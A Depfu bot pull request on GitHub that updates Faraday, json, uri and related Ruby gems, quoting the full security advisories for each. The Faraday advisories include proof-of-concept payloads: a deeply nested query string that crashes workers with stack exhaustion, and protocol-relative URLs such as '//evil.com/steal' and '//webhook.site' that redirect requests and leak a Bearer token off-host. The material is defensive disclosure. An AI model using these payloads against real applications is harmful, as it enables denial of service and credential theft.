Skip to content

🚨 [security] [ruby] Update faraday 2.13.4 → 2.14.3 (minor)#331

Open
depfu[bot] wants to merge 1 commit into
mainfrom
depfu/update/faraday-2.14.3
Open

🚨 [security] [ruby] Update faraday 2.13.4 → 2.14.3 (minor)#331
depfu[bot] wants to merge 1 commit into
mainfrom
depfu/update/faraday-2.14.3

Conversation

@depfu

@depfu depfu Bot commented Jun 19, 2026

Copy link
Copy Markdown
Contributor

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ faraday (indirect, 2.13.4 → 2.14.3) · Repo · Changelog

Security Advisories 🚨

🚨 Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters

Uncontrolled Recursion in NestedParamsEncoder Allows Stack Exhaustion DoS via Deeply Nested Query Parameters

Summary

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker.

This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

Affected Product

  • Product: Faraday
  • Repository: https://github.com/lostisland/faraday
  • Tested version: v2.14.2-2-g59334e0
  • Tested commit: 59334e0e9b19
  • Ruby version: ruby 3.2.3
  • Tested component: Faraday::NestedParamsEncoder / Faraday::Utils.parse_nested_query
  • Date tested: 2026-05-24

Vulnerability Type

  • Denial of Service
  • Uncontrolled Recursion
  • Stack Exhaustion

Preconditions

An application must pass attacker-controlled or attacker-influenced query strings to one of Faraday's nested parameter parsing/building paths.

Confirmed reachable paths include:

  1. Direct use of the public utility:
Faraday::Utils.parse_nested_query(untrusted_query_string)
  1. Normal Faraday request URL building:
conn = Faraday.new('https://api.example.com')
conn.build_url("/search?#{untrusted_query_string}")

In the second case, the crash occurs during URL construction before any network request is sent.

Impact

A relatively small query string can trigger a SystemStackError and crash the calling Ruby thread or worker.

In my local test environment, a payload of approximately 9.4 KB was sufficient:

depth=3119
bytes=9360
result=SystemStackError
message="stack level too deep"

Repeated requests with such payloads may cause a denial of service against applications whose request path forwards, parses, or rebuilds attacker-controlled query strings through Faraday.

This issue does not provide remote code execution, authentication bypass, or data disclosure. The confirmed impact is availability loss.

Technical Details

Faraday supports nested query parameters such as:

user[name]=alice&user[roles][]=admin

which are decoded into nested Ruby structures.

However, Faraday also accepts arbitrarily deep nesting such as:

a[x][x][x][x][x][x]...[x]=1

This creates a deeply nested structure similar to:

{
  "a" => {
    "x" => {
      "x" => {
        "x" => {
          "x" => ...
        }
      }
    }
  }
}

The recursive dehash routine then walks the structure without a maximum depth check.

Affected file:

lib/faraday/encoders/nested_params_encoder.rb

Relevant logic:

def dehash(hash, depth)
  hash.each do |key, value|
    hash[key] = dehash(value, depth + 1) if value.is_a?(Hash)
  end
  # ...
end

Although the function accepts a depth argument, the value is not used to enforce a maximum depth. Therefore, recursion depth is fully controlled by the input query string.

Proof of Concept

PoC 1: Direct parser crash

require 'faraday'

payload = "a#{'[x]' * 3119}=1"
Faraday::Utils.parse_nested_query(payload)

Observed result:

SystemStackError: stack level too deep

PoC 2: Normal URL-building crash

require 'faraday'

conn = Faraday.new('https://api.example.com')
payload = "/search?a#{'[x]' * 3500}=1"
conn.build_url(payload)

Observed result:

SystemStackError

No network request is required; the crash occurs during URL construction.

Local Reproduction Results

The issue was reproduced locally against Faraday commit 59334e0e9b19.

Environment:

ruby 3.2.3
faraday v2.14.2-2-g59334e0
commit 59334e0e9b19

Full PoC result

== (A) DEEP nesting -> dehash recursion / stack exhaustion ==
  depth=100      parse=0.0003s  OK
  depth=1000     parse=0.0034s  OK
  depth=5000     *** SystemStackError (stack overflow DoS): SystemStackError
  depth=20000    *** SystemStackError (stack overflow DoS): SystemStackError
  depth=100000   *** SystemStackError (stack overflow DoS): SystemStackError

== (B) WIDE numeric keys -> dehash sort + numeric-key scan per level ==
N=1000 parse=0.0093s
N=10000 parse=0.1053s
N=50000 parse=0.4992s
N=100000 parse=1.1242s

== (C) MANY array pushes a[]&a[]&... ==
N=1000 parse=0.0048s
N=10000 parse=0.0614s
N=50000 parse=0.2915s
N=100000 parse=0.5403s

Minimal depth test

depth=100 bytes=303 result=OK
depth=1000 bytes=3003 result=OK
depth=2500 bytes=7503 result=OK
depth=3000 bytes=9003 result=OK
depth=3119 bytes=9360 result=SystemStackError message="stack level too deep"
depth=3500 bytes=10503 result=SystemStackError message="stack level too deep"
depth=5000 bytes=15003 result=SystemStackError message="stack level too deep"

URL-building test

build_url depth=100 bytes=311 result=OK
build_url depth=1000 bytes=3011 result=OK
build_url depth=3500 bytes=10511 result=SystemStackError
build_url depth=8000 bytes=24011 result=SystemStackError

These results confirm that both direct parsing and normal Faraday URL construction can trigger the stack exhaustion condition.

Expected Behavior

Faraday should reject excessively deep nested query parameters with a controlled and rescuable exception.

For example, behavior similar to Rack's parameter depth limit would prevent stack exhaustion:

Faraday::Error: Exceeded the maximum allowed nested parameter depth

Actual Behavior

Faraday recursively processes attacker-controlled nesting depth and eventually raises:

SystemStackError: stack level too deep

This exception indicates stack exhaustion and can crash the calling worker/thread.

Suggested Fix

Add a configurable maximum nesting depth to Faraday::NestedParamsEncoder, similar to Rack's param_depth_limit.

Suggested behavior:

  • Set a default maximum depth, for example 100.
  • Reject keys whose subkey chain exceeds the maximum depth.
  • Raise a normal Faraday::Error or another controlled exception rather than allowing Ruby stack exhaustion.

Example patch concept:

module Faraday
  module NestedParamsEncoder
    class << self
      attr_accessor :sort_params, :array_indices, :param_depth_limit
    end
<span class="pl-c1">@param_depth_limit</span> <span class="pl-c1">=</span> <span class="pl-c1">100</span>

end
end

Then in decode_pair:

subkeys = key.scan(SUBKEYS_REGEX)
if param_depth_limit && subkeys.length > param_depth_limit
  raise Faraday::Error, "Exceeded the maximum allowed nested parameter depth of #{param_depth_limit}"
end

A local patch implementing this approach was tested. With the patch applied:

  • The crash payloads raise a controlled Faraday::Error instead of SystemStackError.
  • Normal nested query parsing still works.
  • Existing encoder/utils tests passed in the local test set:
42 examples, 0 failures

Security Policy Fit

Faraday's SECURITY.md states that the 2.x branch is supported for security updates and that vulnerabilities should be reported privately.

This issue was reproduced on the current tested 2.x codebase:

v2.14.2-2-g59334e0
commit 59334e0e9b19

The report is intended for private disclosure through GitHub Security Advisories and should not be opened as a public issue before maintainer triage.

Related Public Discussions / Duplicate Check

I searched the public issue tracker, pull requests, changelog, and GitHub Advisory Database for similar reports using terms including:

NestedParamsEncoder
parse_nested_query
SystemStackError
stack level too deep
param_depth_limit
nested parameter depth
Uncontrolled recursion
CWE-674
dehash depth
parse_nested_query depth

I did not find a public report or fix for this specific NestedParamsEncoder depth-limit / SystemStackError denial-of-service issue.

The closest unrelated public items I found were:

  • lostisland/faraday#1107Infinite recursion (SystemStackError) on load when running with -rdebug with breakpoints
    • This appears unrelated to nested query parameter parsing and Faraday::NestedParamsEncoder.
  • GHSA-33mh-2634-fwr2 / CVE-2026-25765
    • This concerns a protocol-relative URL / host override issue and does not address nested query parameter recursion or depth limiting.

Repo-local checks also found no existing param_depth_limit or equivalent mitigation in lib/faraday/encoders/nested_params_encoder.rb.

Severity

Suggested severity: Medium

Rationale:

  • The attack can be triggered over the network in applications that pass attacker-controlled query strings into Faraday's parsing/building paths.
  • The payload is small enough to be practical, approximately 9.4 KB in the local reproduction.
  • No authentication or user interaction is required in affected application patterns.
  • The confirmed impact is availability only.

Because Faraday is a library, the exact severity depends on how an application exposes the affected parsing/building path to attacker-controlled input. If the maintainers prefer conservative scoring for library reachability, the availability impact could be adjusted accordingly.

Notes

This report does not claim remote code execution, authentication bypass, or information disclosure.

The confirmed issue is an uncontrolled-recursion denial of service condition caused by missing nesting-depth enforcement in Faraday's nested parameter decoder.

No third-party live services were tested. Reproduction was performed only in a local lab environment.

Reporter

Reported by: Emre Koca

Please let me know if you need additional reproduction details, logs, or a patch proposal.

🚨 Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

  • Repository File(s)/Endpoint(s):
    • lib/faraday/connection.rb
    • lib/faraday/request.rb
    • spec/faraday/connection_spec.rb
    • spec/faraday/request_spec.rb
  • Function(s):
    • Faraday::Connection#build_exclusive_url
    • Faraday::Connection#run_request
    • Faraday::Request#url
    • Faraday::Request#to_env
  • Version(s) Tested:
    • Faraday 2.14.1
    • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

  • Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
  • Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
  • Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

  1. Use the current repository checkout and load Faraday from lib/.
  2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
  3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
  4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

  • Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
  • Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
  • PoC code (inline):
require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

  • Exit code: 0
  • stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
  • stderr (relevant excerpt):
N/A
  • Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

  • Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
  • Existing CVE for the original string-based issue: CVE-2026-25765
  • Existing regression tests for the string-only fix:
    • spec/faraday/connection_spec.rb:314-345
  • Existing test proving supported URI request input:
    • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the
connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

🚨 Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:

  • Reject or strip input that starts with // followed by a non-/ character
  • Use an allowlist of permitted path prefixes
  • Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end
Release Notes

2.14.3

More info than we can show here.

2.14.2

More info than we can show here.

2.14.1

More info than we can show here.

2.14.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ bundler-audit (0.9.2 → 0.9.3) · Repo · Changelog

Release Notes

0.9.3

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ faraday-net_http (indirect, 3.4.1 → 3.4.4) · Repo · Changelog

Release Notes

3.4.4

More info than we can show here.

3.4.3

More info than we can show here.

3.4.2

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ json (indirect, 2.13.2 → 2.19.9) · Repo · Changelog

Security Advisories 🚨

🚨 Ruby JSON has a format string injection vulnerability

Impact

A format string injection vulnerability than that lead to denial of service attacks or information disclosure, when the allow_duplicate_key: false parsing option is used to parse user supplied documents.

This option isn't the default, if you didn't opt-in to use it, you are not impacted.

Patches

Patched in 2.19.2.

Workarounds

The issue can be avoided by not using the allow_duplicate_key: false parsing option.

🚨 Ruby JSON has a format string injection vulnerability

Impact

A format string injection vulnerability than that lead to denial of service attacks or information disclosure, when the allow_duplicate_key: false parsing option is used to parse user supplied documents.

This option isn't the default, if you didn't opt-in to use it, you are not impacted.

Patches

Patched in 2.19.2.

Workarounds

The issue can be avoided by not using the allow_duplicate_key: false parsing option.

🚨 Ruby JSON has a format string injection vulnerability

Impact

A format string injection vulnerability than that lead to denial of service attacks or information disclosure, when the allow_duplicate_key: false parsing option is used to parse user supplied documents.

This option isn't the default, if you didn't opt-in to use it, you are not impacted.

Patches

Patched in 2.19.2.

Workarounds

The issue can be avoided by not using the allow_duplicate_key: false parsing option.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ net-http (indirect, 0.6.0 → 0.9.1) · Repo · Changelog

Release Notes

0.9.1

More info than we can show here.

0.9.0

More info than we can show here.

0.8.0

More info than we can show here.

0.7.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ uri (indirect, 1.0.3 → 1.1.1) · Repo · Changelog

Security Advisories 🚨

🚨 URI Credential Leakage Bypass over CVE-2025-27221

Impact

In affected URI version, a bypass exists for the fix to CVE-2025-27221 that can expose user credentials.

When using the + operator to combine URIs, sensitive information like passwords from the original URI can be leaked, violating RFC3986 and making applications vulnerable to credential exposure.

The vulnerability affects the uri gem bundled with the following Ruby series:

  • 0.12.4 and earlier (bundled in Ruby 3.2 series)
  • 0.13.2 and earlier (bundled in Ruby 3.3 series)
  • 1.0.3 and earlier (bundled in Ruby 3.4 series)

Patches

Upgrade to 0.12.5, 0.13.3 or 1.0.4

References

Release Notes

1.1.1

More info than we can show here.

1.1.0

More info than we can show here.

1.0.4

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants